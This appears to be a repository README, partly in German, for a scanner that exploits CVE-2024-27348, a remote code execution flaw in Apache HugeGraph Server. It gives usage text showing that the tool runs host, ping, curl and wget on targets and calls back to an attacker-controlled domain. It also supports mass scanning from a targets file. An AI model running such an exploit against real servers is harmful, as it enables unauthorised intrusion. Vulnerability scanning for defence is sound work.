zeyad-azima/cve-2024-27348Apache HugeGraph Server RCE Scanner ( CVE-2024-27348 )
Nur für ethische Zwecke; schädliche oder böswillige Aktivitäten sind nicht erlaubt. Es liegt in Ihrer eigenen Verantwortung
Apache HugeGraph Server RCE-Scanner (CVE-2024-27348). Der Scanner führt 4 Befehle auf dem Ziel aus (host, ping, curl, wget), für den Fall, dass eines der Dienstprogramme nicht gefunden wird.
usage: [-h] [--file FILE] [--target TARGET] [--port PORT] [--domain DOMAIN]
Exploit CVE-2024-27348 Gremlin RCE in HugeGraph server from 1.0.0 Before 1.3.0
optional arguments:
-h, --help show this help message and exit
--file FILE, -f FILE File containing target addresses and ports W/ the following format: http://target,port e.x: http://localhost,8080
--target TARGET, -t TARGET
Target IP address/domain
--port PORT, -p PORT Target port
--domain DOMAIN, -d DOMAIN
Attacker domain (Your own domain to check ping/requests log)
python3 CVE-2024-27348_Scanner.py -t http(s)://target_address -p port -d your_domain/ip
python3 CVE-2024-27348_Scanner.py -f targets_file -d your_domain/ip
targets.txt